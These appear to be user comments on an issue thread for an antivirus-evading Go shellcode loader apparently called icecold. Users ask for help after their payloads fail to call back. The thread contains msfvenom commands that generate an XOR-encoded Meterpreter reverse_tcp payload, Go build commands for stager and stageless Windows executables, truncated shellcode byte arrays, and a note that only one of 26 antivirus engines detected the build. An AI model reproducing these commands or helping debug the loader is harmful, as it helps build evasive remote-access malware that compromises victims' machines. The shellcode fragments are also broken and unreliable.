when i run go run .
i don't get the a.exe in output folder

hi , i try generate payloads with CB , both Stager and Stageless , after click open the calc.exe dont show on listener.
GOOS=windows GOARCH=amd64 go build -o output/stager.exe template/main.go
GOOS=windows GOARCH=amd64 go build -o output/stageless.exe template/main.go
av show 1/26 Malwarebytes Anti-Malware Malware.AI , (False)

work only with shellcode from msf ?

need a help , no offense 
// Put Your shellcode below
//shellcode := []byte{}
el := u.Enc( byte[] buf = new byte[968] {0xeb,0x27,....,0x5f,0xb0,0xe2}; )

or
// Put Your shellcode below
//shellcode := []byte{}
el := u.Enc( ] {0xeb,0x27,0x5f,,....0xb0,0xe2}; )

root@learn:~/icecold# msfvenom -p windows/x64/meterpreter/reverse_tcp 192.168.2.14 LPORT=4444 --encoder x64/xor_dynamic -i 9 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 560 (iteration=0)

x64/xor_dynamic chosen with final size 968
Payload size: 968 bytes
Final size of csharp file: 4951 bytes
byte[] buf = new byte[968] {0xeb,0x27,0x5b,0x53,0x5f,0xb0,
0xa1,0xfc,0xae,0x75,0xfd,0x57,0x59,0x53,0x5e,0x8a,0x06,0x30,,
0x77,0xe2};
root@learn:~/icecold#

I dont understand , first need create with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp 192.168.1.20 LPORT=4444 --encoder x64/xor_dynamic -i 9 -f csharp

and after run code result in the icecold